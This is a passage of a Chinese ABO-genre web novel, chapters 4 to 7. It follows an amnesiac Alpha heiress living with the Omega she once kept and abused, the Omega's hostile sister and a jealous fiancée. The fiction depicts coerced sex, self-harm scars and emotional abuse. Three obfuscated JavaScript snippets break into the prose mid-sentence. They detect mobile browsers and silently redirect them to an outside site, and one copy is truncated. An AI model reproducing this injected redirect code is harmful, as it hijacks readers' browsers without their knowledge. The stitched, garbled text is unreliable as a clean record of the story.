藏不住的是肩膀和胸腔的起伏,林絮眼神锐利,没有往常的好心情。 也就更为不耐烦,简直受够了舒清柚作为受害者展现。 “哑巴了?” 舒清柚口中溢出一丝哀伤,声若蚊呐。 “我们已经....” 林絮轻飘飘地挑眉。 “已经什么,深度标记?那又如何,洗掉不就好了。” “至于喜欢么,我只是不讨厌你的信息素,还有...” 林絮暴力地扯过她的胳膊,舒清柚皮肤薄软。 刚经历不愉快的性/事,腺体被林絮无情地来回啃咬,她没有丁点力气反抗。 袖口往上一拉,手臂骇人的血痕刺入眼底。 “以为我发现不了?用的还是你最爱的那件作品,真矫情,假惺惺地做给谁看呢,你不会真自作多情以为我喜欢你这个人吧。” 舒清柚眼尾湿漉漉的,泪珠始终在瞳仁处打转,将坠不坠。 她沉默地将手藏到后背。 “......林絮,别这样。” 林絮厌恶地甩开她的纠缠,眼神冰冷。 “走开点,不过让你陪客户姐妹们喝点酒,推三阻四的,还活在金枝玉叶大小姐的梦里呢。” 舒清柚眼神黯淡,早就不在意了,大小姐,再度回首,就像在看别人的人生。 她在乎的人或事,林絮从未了解,也没有半分兴趣,她对她毫不在意。 这一回,不是开玩笑。 有谁会平白无故伤害自己? 舒清柚攥紧指尖,指甲陷进皮肉。 林絮带她应酬,让她替她喝酒,每回都能把她喝到吐。 对她却不管不顾,在她难受到极致时,林絮狠心侵/犯她两处腺体。 一年来,她已经数不清多少次被这般对待。 没有抑制贴的Omega无法反抗Alpha,更何况她是被包养的。 刚包养时,林絮隐藏的很深,舒清柚尽管岁数比林絮大上五岁,心思却没有许多弯绕,未经历过多人情世故与情爱。 从小在妈妈母亲外婆的保护中长大,包括创业也几乎没有操心。 一旦面临母亲车祸双亡,外婆受刺激重病一趟不起。 昂贵的医疗费打的人脊椎骨都得弯下。 面临这种困境,任谁都会想抓住救命稻草。 她一厢情愿认为只需全方位交付身心,林絮至少会对她另眼相待。 可到头来,不过镜花水月一场空。 总归,林絮在她危难时刻伸出援手,免堕于风月场所,金主当的也算仁至义尽。 况且拿钱替金主办事,合情合理。 至于孩子... 舒清柚视线不自觉看了眼腹部。 林絮敏锐捕捉到她细微动静,瞳孔骤缩。 怎么可能?她不记得和她贴贴过。 她冷嘲热讽。 “别告诉我你有了我的孩子,然后玩那套凭女上位的把戏,我才20啊,才20你就要让我当妈?真逗。” 林絮顿了顿,再次回想,应该没有和舒清柚贴过吧。 语气不觉染上慌乱:“我警告你别打歪主意,一周内,滚出这里。” 半晌,如墨夜晚被金色蛇形闪电撕裂开。 映出舒清柚眸光沉寂,她动了动唇,嗓音沙哑。 “好,我滚。” 钢笔在纸张上摩挲,几秒后,林絮将支票塞在她手心。 “别诽谤我没良心,这是一千万支票,够你花半辈子。” 舒晚柠对于舒清柚,她恨铁不成钢。 一直劝她不要这个孩子,可舒清柚简直和中邪没两样,执意要生。 唯一庆幸的是孩子性格长相都像妈妈,和渣A林絮天差地别。 权当去母留女了。 “姐,到底怎么样嘛?” 思及此,舒清柚语气平淡无奇。 “没关系,知道又如何,她避之不及。” 而当事人林絮打了个喷嚏,刚才好好的,也不冷呀。 她望了望天,天清气朗。 稍微梳理着刚才的对峙,舒清柚的妹妹很反感她,一定和原本的她脱不了干系。 她刚意气用事跑出来时,才发现身上没钱也没手机。 再回去未免丢人现眼,腆着脸去找舒清柚要钱? 她发现自己是很矛盾的人,正视内心,就不得不继续回去面对窘境。 这村镇生态圈对她很不友好,她甚至差点走迷路。 路过舒清柚邻居那边,又有那些悉悉索索的探讨。 “隔壁搬来才半年,你看这事闹的。” “俩A抢一个O,啧,真不像话。” 几个妇女坐在竹椅和长板凳,地上散落了一地的果壳。 她们肯定看到了她打架场景,这群人交头接耳的模样,令人心烦。 什么水性杨花,暗度陈仓... 林絮握紧拳头,咬了下后槽牙。 毕竟从地理位置看,这些人应该是舒清柚的邻居 要不就置之不理,但当背对这些人,那种声音又来了。 她无论如何都忍不了一点。 林絮霎时一个箭步冲上去,她的气势过于凶猛,乃至那些妇女直愣愣地呆住了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325868|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不避讳,距她们一米处停下。 见林絮来者不善,她们都还未从震惊中反应过来。 其中一个大概是为首的妇女,眼睛瞪的老大,梗着脖子,抬手指向林絮。 “你你干嘛,我告诉你,现在是法治社会,你可别动手动脚啊。” 林絮表情恶劣,语气也好不到哪。 “你们可要点脸吧,一个个的,一把岁数,干什么不好,天天坐家门口搞家长里短,那你们要搞也得掂量掂量搞谁家的,是不是觉得很有意思?就是因为你们缺什么,所以就爱在背后嚼舌根,很羡慕她有人争着要,对不对?” 被她数落的长舌妇的脸一阵红一阵白。 林絮还没打算放过她们。 “所以你们家庭生活也不美满,心理不平衡才会天天八卦别人家事,好奇我和她关系是吧,你们怎么不趴在她家窗户上偷听呢,岂不是更能满足你们阴暗思维?” 她们何曾料到这Alpha巧舌如簧,胆子也大,硬是将她们怼到哑口无言。 在年轻人这边失了脸面成何体统。 其中一个露出发黄牙齿,半旧灰棉袄套在臃肿的身体上的女人发话。 “你这A怎么刺头似的,我们和你认识不,你知道我们在说谁啊,猫拿耗子多管闲事,呸!” 林絮怒气已经达到顶峰,她睨了眼这女人,都是Beta,没有信息素。 属于顶级A的威压外泄,气势就能压普通人一大截。 哪怕是B也会感到厚重的压力,腿肚子都软了。 要不是她们坐在凳子上,否则得摔个跟头。 林絮自认不是吃素的,况且刚被舒清柚她妹刺激到了。 情绪十分不稳定,她一脚过去,直接把那群人的果盘踢翻。 发出乒乓哐当声。 林絮眼神暗沉:“说的是谁,还需要我特地指出来?” 这群妇女面面相觑,闭嘴了,脸色都极其难看。 其实顶级A的信息素一出来,这群人都打了退堂鼓,不敢招惹她。 她们接受的教育便是,顶级A都是富贵人家孩子才生出来的高等基因。 万一是哪个有权势的。 还得是这些老油条,就算吃亏也见风使舵,马上赔了副笑脸。 “哎呦,年轻人别这么大火气啊,这不,我们开玩笑呢,再说了那确实我们这也实事求是,她搬来那会,对我们也没个好脸色不是,和她打招呼都不带理人的。” 林絮没法共情这女B说辞,只一门心思记挂着舒清柚。 只觉得多说一个字都是浪费,既然教训了她们,也没有再针对的必要,她摆谱似的,长腿迈开步子,直接走掉。 她花了十来分钟看了下这边的环境,一条溪流横跨村镇南北,鸡犬鸣叫声不断。 这时间快到饭点,袅袅青烟从烟囱升起,不合时宜地,她肚子饿了。 可她确实没钱。 要不回去认亲,就算没有记忆,那她装一装就好了,高低也不会被家里亲戚饿死吧。 可是就这样一走了之,舒清柚会不会对她更不满呀。 两种想法一直在打架,她心绪不宁的。 不知不觉中走到通往大路的拐角,几个小孩坐在自家门口端着碗吃饭,好奇地打量她。 林絮反倒有点不好意思,突然,路口方向传来低沉的轰鸣声。 5. 第 5 章 三五成群的孩子们立即被这声音吸引了,噔噔噔跑出去围观。 她只是朝外看了眼,不屑一顾地哼声,不就一辆车嘛。 林絮不在意,可总有没见识的叹为观止。 那是辆极光紫跑车,威风八方地停在一户青瓦白墙农房前。 有眼的都能隐约知晓,这车价格不菲,气势如虹。 更吸睛的是车上下来的女人。 她顶着惹眼红色大波浪卷,高腰牛仔裤包住圆润臀部,黑色皮衣半挂在肩上,显得风情又慵懒。 她将墨镜摘下,勾在小拇指上晃荡,眉眼间尽是不耐烦。 再看了下周围,更头疼了。 一个头发花白老人拨开不远处人群迎上前,堆起笑容。 “顾小姐大驾光临,我们村实在是蓬荜生辉啊,不好意思,我刚收到通知,让您久等了。” 说着用很狗腿的手势招呼:“来来来这边走。” 而后叮嘱跟在后方的年轻人。 “看好顾大小姐的车子!” 顾怀愿傲慢地噘了下嘴角,她无所谓这种客套话。 要不是她的私人侦探调查出林絮上了一辆轿车,最后驶进这村,她才不会找借口投资来这做名义上的考察。 林氏集团外部一片繁荣,股票日益上涨,涉及产业均为行业翘楚,每年财报数据令人瞩目。 但自从林老太今年缠绵病榻,家族内部权力真空。 既然真空,家族派系斗争愈发激烈,各个心怀鬼胎。 林絮当初为遵循老太太的意思,与她订婚,林顾两家关系紧密。 现在林絮莫名失踪,林家尤其是她那伥鬼舅舅,更是对林絮CEO的位置和股份虎视眈眈。 顾怀愿只要一想到家里人催她赶快和林絮公开成婚,她就能郁结到掀饭桌子。 她好歹是顶级Omega,凭什么要给林絮低头,那个暴躁自恋狂,谁会喜欢啊。 两人互相不对付,又不得不为家族利益,在长辈面前装恩爱。 到了这,村长一个劲在商讨关于修路、旅游景区建设等相关投资。 直摇头项目资金批不下来,诸如此类。 顾怀愿左耳进右耳出,不就是变着法子花式要钱么? 她视线往下,这茶叶入不了她的眼。 杯子倒是不错,开片冰裂纹,郎红釉面不像流水线生产的。 村长面色惊奇,这只是他们村里一个老人做出来的。 见顾大小姐多看了会,他开始谄媚。 “顾大小姐有眼光啊,这是我们这边一个老陶艺师做出来的。” “谁?” 村长上杆子补充。 “姓舒,她本人在一半年前左右就去世了,但你要我打听的车主,就是她的孙女。” 顾怀愿对陶瓷兴趣缺缺,在林絮办公室玻璃橱柜见过一套茶具。 也不拿来招待客人,纯粹孤芳自赏。 无趣。 顾怀愿撩了下长发:“那还等什么,带路。” 外面的大路还好是混凝土,到了这里面全是杂草泥巴路,顾怀愿觉得这很难评。 她真的考虑要给农村修路了。 另一边,舒清柚再三和妹妹保证,不会再对林絮动心,舒晚柠才同意出去找人。 毕竟林絮现在处于薛定谔天真与否状态,若迷路了,她们还得全权负责。 “切,她没了最好。” 舒晚柠穿好鞋,骂骂咧咧出门。 凑巧看到几人簇拥着一个惹眼的女人朝她方向走来。 她警惕地抱臂而立,眉头紧皱。 “你们谁啊?” 她整张俏脸写着不乐意,这波人来者不善。 要不是姐姐思念外婆,也不会跑来这边暂住。 交通也不见得多方便。 村长瞪舒晚柠一眼。 “没大没小的,这是顾氏集团大小姐!” 整得和旧社会似的,舒晚柠上下扫视这位高高在上的顾大小姐,翻了个白眼。 “你的意思是你闯我家,我还要向这位顾大小姐下跪迎接是不?” 村长一张老脸都挂不住了。 “诶,不是你,你一个大学生怎么这么没礼貌的。” 舒晚柠极其厌烦应付她们这套虚与委蛇,不理不睬地推开他们。 哪知手上一道力度拉住她,还有耳边娇纵的女声。 “就是你把林絮带回家的,她在哪,带我去见她。” 敢情是来找林絮的啊,舒晚柠心思一动,故作不知。 “对啊,她晕倒在路上,我做好人好事,但她不知恩图报,人早就跑掉了。” 她看着拉住自己的这双手,指尖圆润白嫩。 一双手粉嫩的,从没干过家务活的尊贵样。 舒晚柠发现女人对林絮很在乎,便猜测是林絮的某个桃花,她用力一下抽出手。 在看到女人穿的高跟鞋有点没站稳时,她嗤之以鼻,想快点赶走不速之客。 “以后别来了,她不在这。” 对此结果,顾怀愿很不满意。 她从小过着众星捧月般的生活,何曾受过这般无视。 抬起高跟鞋,稳准狠地踩在舒晚柠鞋面上,白色板鞋瞬间沾染污泥,还有钻心的疼痛。 舒晚柠痛的直接五官都扭曲了,她气愤不已。 上手就拽住女人的头发。 “疯女人,精神不正常就滚去精神病院!” 这些有钱人真的吃饱了没事干,一个跑来骚扰她姐姐,现在又来这么个祸害。 “臭Beta,你是不是想死?!” 顾怀愿比她矮一些,一挣扎,头皮反而因反作用力更疼。 “放手!该死的啊啊啊!” 村长见状吓到冷汗直流,第一次知道新搬来的大学生不好对付。 天天和火药桶一样,一点亏都吃不得,他连忙上前阻拦劝架。 周围的人都惊呆了,顾大小姐何许人也! 这区区大学生是有几条命敢这么搞啊! “小舒,放手放手放手,算我老头子求你了,我们就来找个人,真没恶意!” 舒晚柠看这村长老头子一脸快死的样子,她爽快放手。 她柳眉一挑,啧道:“我知道林絮下落,想知道?偏不告诉你。” 果不其然,在顾怀愿要把她烧出火的眼神中,舒晚柠又添油加醋。 “而且我还知道,林絮她啊,现在已经有喜欢的人了,你想都别想。” 顾怀愿还没从林絮有喜欢的人这消息缓过来,舒晚柠却已经一溜烟跑到老远了。 “臭Beta你给我站住!” 为赶时间送外卖,舒晚柠练就一身腿脚本领,参加三千米长跑还能拿个前二。 真的很难追上她。 而被她嘲讽一通的顾怀愿直接全程给村长甩脸子。 任凭村长好说歹说,膝盖跪软了也没用。 顾怀愿优雅地钻进跑车,墨镜一戴。 发动机低沉响起,她扬长而去。 只余下车屁股后飘荡的尘嚣。 忽而她想起特聘侦探,怒气冲冲地打了个电话。 “帮我查一下海城姓舒的陶艺师,还要她全家资料。” 林絮还沉浸在她漫无目的闲逛。 看会山,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325869|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会小桥流水,再乐呵呵地观看小狗打架。 短暂的开心过后,胃和心灵同时达到双重失落。 她是不是应该向舒清柚道歉啊,感觉她身体素质有些病弱。 “唉,我何去何从呢?” 正在悲悯之际,她肩膀被人拍了一下。 “你是打算跳下去?我可告诉你,这水太浅,淹不死人。” 林絮一回头,头皮紧绷,她在第一时间做出防守姿态。 “你要干嘛!” 舒晚柠给了她一记白眼。 “我只说一次,我答应你住在我们家了。” “谁知道你有没有不怀好意啊!” 林絮和她保持安全距离,还不忘看她身上是不是带了某种致命武器。 大发慈悲邀请林絮,这人怎么这么不识好歹! 舒晚柠全程皱眉,手指一直在按压眉心,林絮是个大麻烦。 指不定以后她们家还会不会被林絮的某朵烂桃花登门造访。 她耐心快要告罄。 “你爱住不住,我不介意你去流浪,我还挺开心,只要你别来缠着我姐。” 林絮渐渐放下戒备,摸摸肚皮,小声询问。 “回去可以,但是,我肚子饿了。” “哦,那你去吃啊。” 林絮别扭地靠在石桥扶手上。 “你请我。” 这样啊,舒晚柠嘴角抽动几分,真来她家白吃白喝。 就这还是那个家财万贯如新闻上所言,叱咤风云的总裁吗? 林絮成功地从舒晚柠那搜刮到午餐。 没想到这小破地方有这么好吃的炒面,她吃了一份还不过瘾。 她没想着给舒晚柠省钱,和老板喊道:“再来一碗,打包。” “好咧!” 老板飞快朝后厨吼了一嗓子,铁锅蹭蹭蹭冒着火,满满锅气飘满整个小餐馆。 糟糕,还是个特能吃的主。 舒晚柠喝了口水,对林絮万般嫌弃。 “赶紧的吧,你快回去,我姐她要找你算算账。” 咬了一半的面条断在碗里,林絮呆了下。 “啊?算算账,你姐会不开心的,而且清柚她身子骨弱,我不能刺激她。” 舒晚柠一拍桌子,震地隔壁吃饭的人频繁看过来。 她咳了一嘴嗓子。 “别蹬鼻子上脸,清柚两字你也配叫?你可闭上嘴吧,臭不要脸!” “喂,你说谁臭不要脸,文明用词会不会啊,你嘴巴放干净点!” 林絮倍感羞辱,这两姐妹性格怎么一个天一个地,真怀疑她们是不是一个妈生的。 剩余的面她都吃不下了。 气饱了。 舒晚柠发出讥讽的笑,是谁当初嘴巴不放干净,当年她就怀疑舒清柚还债钱是卖身赚来的。 但舒清柚坚持她和林絮有点感情基础,这话鬼才信。 舒晚柠偏不信,进不去豪宅小区大门,被保安拦住,她就去堵大门。 还真给她蹲到林絮,林絮明明不近视,却戴着金边眼镜,衣冠楚楚。 见来人专门蹲她的,林絮倒也没把她当透明人。 舒晚柠正要上前质问。 怎料林絮只招了招手,林絮特助极有眼力见地护住老板。 然后林絮附在特助耳边说了些什么,舒晚柠不知道。 但是特助转达的内容着实让舒晚柠气闷一整晚。 “舒小姐,我只负责传达林总的意思,她说,‘是你姐姐她自愿爬上我的床,各取所需,妹妹的要有成全姐姐的自觉性,至少,没让你们两个留宿街头,你们就该对我三叩九拜。’” 6. 第 6 章 “喂,你老针对我,说实话,是不是你们家还不起钱,就看我不顺眼。” 林絮觉得找舒清柚肯定说不清,舒清柚惜字如金。 舒晚柠却和连珠炮一样,句句话都不带重样的。 找她问清楚来龙去脉,准没错。 林絮满怀期待,现在能多了解舒清柚,不失为一件让她感兴趣的事。 这家伙打的什么阴险算盘? 舒晚柠完全不信任林絮,就算失去记忆,也是江山易改,本性难移。 她一番沉吟,摸摸下巴。 见状,林絮的表情有点着急了,上挑的桃花眼像盈着一汪清澈湖水,求知若渴。 “别装高深莫测了,吊人胃口。” “我怕说出来你承受不了。” 林絮自诩有熊心豹子胆,顺便又咬了口酱料浓郁的面条,慢吞吞起身。 到柜台边上的饮料售卖处,拿了瓶橙汁,期间舒晚柠一直盯着她。 林絮喝了一口,就当压压惊,看你舒晚柠想酝酿出什么炸弹。 “其实,你以前给我姐当狗,我姐心怀愧疚才……” 噗—— 黄澄澄的橙汁喷了舒晚柠的一脸。 舒晚柠面无表情,默默地从桌子左手边抽出纸巾擦拭,甚至有点想笑。 “我姐才说她欠你的,毕竟你都当她……” “啊啊啊,别说别说别说了!” 林絮面上害羞已经渗到骨子里,从里到外坐立难安。 她在听到给舒清柚当狗的时候,头发丝都仿佛竖了起来,震惊到下巴都合不上了。 不仅如此,店老板也正在帮她把打包好的炒面放在她两当中。 她们说话声被油烟机和食客讨论声覆盖,但是店老板离的近。 都被听到了…… 林絮匆匆忙忙让舒晚柠付好钱。 她提溜着外卖盒,清风徐来,驱散她脸上的热意。 “你说清楚,我怎么就给她当…狗。” 最后一个字,林絮在口里憋了好几个圈才吐出来,真有点烫嘴。 街边跑过三只欢腾互叫的小狗,它们的脖子都套着项圈。 林絮脑子里幻想出许多少儿不宜的片段,她站不住了,蹲下,用空出的手捂住脸。 “我怎么知道,我又不是你们play的一环。” 她一举一动舒晚柠看在眼里,林絮这脸变的比三月天还快,窘态毕露,她心中畅快无比。 更害羞了,她心脏都快要跳到她无法承受的程度了。 “不过我提醒你,是你求着当我姐的狗,你最好别在她提出来。” 舒晚柠添油加醋。 “你们上次闹得很不愉快,你也知道,玩的时候,你那尖牙利齿,你把她手都弄伤了。” 天呐,她玩的太花,未免太残暴了吧,社死,没脸见舒清柚了。 林絮的脸憋在手掌心,瓮声瓮气。 “对不起。” “和我说干嘛。” 见林絮像头倔驴一样迟迟不动,脑袋都快点地了,舒晚柠冷笑不已,催促她。 “快回去了。” 磨磨蹭蹭,林絮抬不起头,脸上余热犹在,地上就好像多了层胶水,她走的异常艰难。 “林絮,你想让我姐等你多久啊,亏她还担心你。” 想到姐姐话里话外说着不在意,明显又放不下,冤大头不过如此。 舒晚柠用力拍了下林絮的肩膀,她常年干活,力气大。 “哎呀,” 肩膀一沉,林絮发作了。 “你又想打架?!” 舒晚柠踢着脚边的石子,无辜摊手。 “没有,我就是想督促你,你不要和龟速一样好不好。” 两人一前一后到家,舒晚柠直接拉开大嗓门。 “姐,我回来了!” 林絮有点无法直视舒清柚,她掀起眼皮,悄悄地环视一圈,却没有舒清柚的身影。 她干脆就站在玄关那边不动弹。 舒绒坐在茶几前,看到小姨回来,露出甜美的笑容,再一眼,就是林絮。 她又快速低头,不熟练地抓起勺子,吃着妈妈做的小布丁。 这小孩指定不对劲! 林絮偏要挑战,她拿着自己的炒面接近不发一言的舒绒。 看着接近她的林絮,舒绒眼里的恐惧加深,小姨不是说打掉这个大坏蛋了吗?! 舒绒过于害怕,导致她发出嘤嘤嘤的叫声,就像一只即将面临危险生物的弱小动物。 越来越离谱,林絮已经怀疑人生了。 外面那些小孩遇见她也没这么夸张吧。 眼见舒晚柠正要开后门去后院,她唤了声:“你侄女她不正常。” 不提还好,舒晚柠本就对林絮的没好脸色,现在颇有雪上加霜的意味。 她绕过木桌,大跨步,将自己拦到小侄女和林絮中间,嫌弃地挥手。 “我姐在后院,你自己过去找她报平安,欺负小孩子,你真禽兽。” “啊?我?禽兽?” 林絮都被气笑了,这架势,老鹰捉小鸡呢。 她不服气地侧过身,舒绒探出个小脑袋,林絮对她吐舌头做鬼脸,舒绒瑟缩扒拉着舒晚柠的衣角。 林絮满意了,虽然她心怀愧疚,欺负小孩子确实不算什么好女人。 踏入后院,风带来面的香气,裹挟着烟味,林絮怔了下,仿佛心有灵犀。 她一下子就找到舒清柚,手臂横在肋骨上,眼眸宁静,精致莹白的鼻尖尚有点透红。 右手指尖夹了根烟,燃烧猩红,还有大半截香烟,刚抽没多久。 舒清柚的头发柔软乖顺,落过天青长裙肩带。 两人视线接触,眸底像蓄了深不见底的潭水,带着刺骨的寒凉。 林絮失神片刻,烟头的灰烬多烧了一些,舒清柚率先对她稍微点点头,掸了下烟灰。 林絮略显无措,比起舒清柚风轻云淡瞥视,她不自然极了,机械似的抬起手。 “嗨,嗨。” 死嘴你在说什么?发挥一下你能言善辩的实力呀! 听见她打招呼,舒清柚稍微挑眉,见林絮嘴角结痂,脸也不肿,看来精神状况良好。 “怎么不进屋?” 舒清柚走近,烟头的光点更亮了,也看的更清楚,女士香烟,气味稍显寡淡,林絮嗅了嗅,不难闻。 “你妹打我,我怕。” “她不会打你了。” 林絮悻悻地哦了声,鞋底在地面摩擦了好几下,还是难以开口问出那件令她抬不起头的光荣事迹。 换个话题吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325870|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然以舒清柚的闷葫芦性格,她两保准能大眼瞪小眼度过一整天。 “你身体还好吗?” “还好,多谢关心。” 好生疏,林絮哀叹不已,她发现舒清柚后面的小屋里没开灯。 现在是下午,能依稀辨别出里面由木头搭建的外置架。 架子摆放形状不一的容器。 况且这间屋子还不算小,尽管白漆脱落,露出水泥外墙,绝对还是能住人的。 “这里面是什么?” 林絮又被吊起好奇心,跃跃欲试。 “欸……” 舒清柚拿烟的手臂伸展,以刻意的方式。 林絮虽然个头比她高,现在小媳妇一样识趣乖乖站定。 又被拦了,林絮闷头不语,有什么重大秘密嘛,搞得她打从一开始,对舒清柚而言就是越界的陌生人。 “你很讨厌我吧,舒姐姐。” 林絮不由多想,她脑回路转的比马达快。 以前肯定对舒清柚超级坏,她又不是傻,就算退一万步来讲,她给舒清柚当犬。 而舒清柚肯定很善良,才能包容她,没把她赶走。 舒清柚听到这句话,心思像烟雾一般飘远。 林絮其实不是个善于聊天的,不喜欢解释,至少,不会对舒清柚解释宿醉的缘由。 当然,林絮也有脆弱的一面,被她撞见过在沙发上发呆,眼眶却红通通的。 很快林絮又换上那张冷漠的嘴脸,对她呼来唤去的。 曾经她多关心林絮一句话,都能将其激怒,她便学会了闭口不谈。 舒清柚对她撩起嘴角,似笑非笑。 “如果我说讨厌呢?” “啊?不行!你不能讨厌我。” 林絮脑子就像秀逗了,居然伸手去揪舒清柚的裙子。 舒清柚突然感到胸前被揉了下,低头。 发现林絮的手距她胸的方位只有不到一厘米。 “别...” 舒清柚耳廓有些发烫,接连退后好几步,手指抖了下,快燃尽的烟蒂掉落在地。 碰到她的丰满,林絮才意识到位置有多敏感,而且还被舒清柚误会,欲哭无泪啊。 “你听我狡,啊不,这是巧合啊,都是这只手的错!” 舒清柚嘴角微微抽了下,这只手也是属于你身体一部分吧。 糟糕,这下子该怎么挽救,林絮眼睁睁望着舒清柚回去的背影。 她独自溃败,要是舒清柚和那个凶巴巴的妹妹再提一句,她岂不是铁定要被赶出家门。 等了很久,总算没有舒晚柠的攻击迹象,她蹑手蹑脚地进去。 舒清柚已经将她的面条倒进碗里,放进微波炉加热。 “柠柠告诉我,你胃口很大。” 怎么能这么胡说八道,林絮打死不承认,她反驳道:“她是看不惯我才这样说的。” 林絮特地观察舒清柚。 垂感良好的丝质V领白衫,浅灰复古半身裙下摆开叉。 好脆弱,肯定是太瘦的缘故,本来躲着舒清柚的小情绪,一下子熄灭的无影无踪。 “你妹她冤枉我,这明明是买给你的,我担心你中午没吃饿肚子。” 舒清柚手持刀具,若有所思,不知道这傻子版本林絮什么时候会恢复记忆。 7. 第 7 章 果然,舒清柚没骗她,看她不顺眼的舒晚柠不在家。 林絮觉得应该和舒绒打好关系,否则招人厌,日后她也不好长久住在舒清柚家。 小孩就是小孩,天性爱玩,舒绒乖糯糯地半跪在玩具堆里叠积木。 林絮放缓了呼吸,看积木能不能叠成一座小摩天楼也不塌下来。 她在舒绒背后蹲下,在别人的视角里,她像极了做贼。 没多久,舒绒姿势换到直起身,她有点发育不良,矮矮小小一只,和同龄人相比,舒绒身量才80公分。 让林絮怀疑孩子发育迟缓,估计也有点笨。 舒绒两只小手都抓满积木,低下脑袋犹豫不决,考虑把哪只积木放上去。 见状,决定要成为贴心大姐姐的林絮,戳戳舒绒的肩膀。 “姐姐帮你吧。” 舒绒回身就看到坏人的脸,给她整个人吓懵了,手心也没了力气,积木全都掉落。 小嘴紧紧抿着,不点头,也不摇头,眼里闪烁着惊讶。 林絮虽然奇怪舒绒唯唯诺诺的,可对方是小孩嘛,她又怎么能和小孩一般计较。 她一片好心,把积木都捡起来。 “看我大展身手哈。” 林絮呼啦揉了下舒绒的头发,手感超级好,比猫咪还软,挺像兔子的毛毛。 还听到舒绒发出嘤的一声,更像小动物了。 “你真可爱。” 林絮看着她肉嘟嘟的小脸,忍住没再去戳玩,当即就开始搭建积木。 她研究了下积木的受力点,还有摇摆程度,她富有信心,扬起骄傲的脸,把积木放上去。 这下,就像压垮‘小摩天楼’的最后一根救命稻草。 唰—— 塑料相互碰撞,很不给林絮面子,这座大楼轰然倒塌了。 积攒了舒绒十来分钟的心血,说没就没,她鼻子酸胀胀的。 这个大姐姐太坏了,抢她的玩具,好坏,她不喜欢! 林絮只是简单发出可惜的音节,早知道不帮倒忙了,她回头。 “要不,你自己再来一次。” 不说还不打紧,她一说话,舒绒抽噎了几下,眼泪哗啦像断线了一样,流个不停。 “欸你你你...” 林絮面部都僵硬了,把这么点大小女孩惹哭,林絮完全不知道应对措施。 过了好几秒,她笨拙地用手擦着舒绒的眼泪,整只手也湿漉漉的。 “我就是失误,真的,我发誓,我搭积木十级天赋选手!” 舒绒哪里听得懂什么是天赋选手,她只知道林絮是坏姐姐。 在厨房忙活的舒清柚刚接完电话,大学导师请她去家里喝茶。 说是喝茶,实际上不过找个由头,至于具体要聊的内容,舒清柚心里有数。 已经拒绝过一回,这次她只是说要再考虑看看。 她从厨房走出,角落的两人都有点忙不迭的样子。 大的那位也不知道拿张纸巾,泪水都浸透了袖口。 小的则被堵在墙角,想跑跑不掉,把自己的小衣服抓地皱巴巴的,一个劲哭。 林絮都没听见脚步声接近,全心都放在哄舒绒这边,脑子混乱不已。 忽然,一节细细的手臂带了几张纸巾出现在她眼前。 林絮愣了下,抬头,她愧疚地说:“舒姐姐,对不起,我害你女儿哭了,我不知道该怎么办了。” 扫了下地上乱七八糟的玩具,舒清柚蹲着仔细帮舒绒擦拭眼泪,嗓音不以为然,也没有怪罪林絮的意思。 “没关系,原来你也喜欢玩这些。” 林絮蹲了好久,腿都麻了,她扶住墙,从原来两个字里面品出些不寻常的味道。 她不可避免地想到原先她和舒清柚喜欢玩的,大概是什么羞耻Play。 居然对一个有妇之妇做出这种事情,她们莫非是见不得光的,地下情人的关系? 她摇摇头,怎么能这么龌龊呢。 舒晚柠肯定是讨厌她,才会说出给女人当狗这种话。 “我,我想帮舒绒来着,我是好心,你别生气。” 尽管舒绒才三岁,也明白一些话语,昂首,目光落在自大的坏姐姐那。 才不是帮呢,舒绒在心底置气,但她还不会说话,就只有鼓起腮帮子,抱住妈妈不撒手。 舒清柚用热毛巾,洗干净舒绒已经哭的红扑扑的脸蛋。 全程林絮就像个木头人,想帮也无济于事,都怪舒清柚太熟练了。 待舒清柚把舒绒放到沙发上,给她一本儿童读物。 唇瓣微动,认真发问:“为什么要生气?你是故意把她弄哭的吗?” 当然不是!林絮头摇地和拨浪鼓似的。 舒清柚脾气好好啊,林絮佩服。 “那,我问下哦,舒绒为什么都不会说话。” 按理来说,有些小孩1岁已经能说几个含糊不清的词汇了。 “她性格内向。” 舒绒捧着童话书津津有味,舒清柚当然知道林絮的意思,疑惑舒绒是否存在生理缺陷。 “林絮,别多想。” “好的好的。” 点头如捣蒜,她挺起脖子转了圈。 “舒晚柠那家伙呢?” 这才刚问,林絮就听见钥匙转动声,真不愧是她,祸从口出。 原来舒晚柠没走,还提着一个塑料袋回来,绿色蔬菜,新鲜水果装的满满当当。 “姐,我买了两天分量的菜。” 舒晚柠眼尖,一下子就看到林絮那张傲气的脸,她马上别开脸。 “你爱吃的?” 舒清柚上去接过,去到厨房,将菜色分门别类,今天的放在外面,其余放进冰箱。 “嘿嘿,是啊姐,晚上做给我吃,好久都没尝到你手艺了呢。” 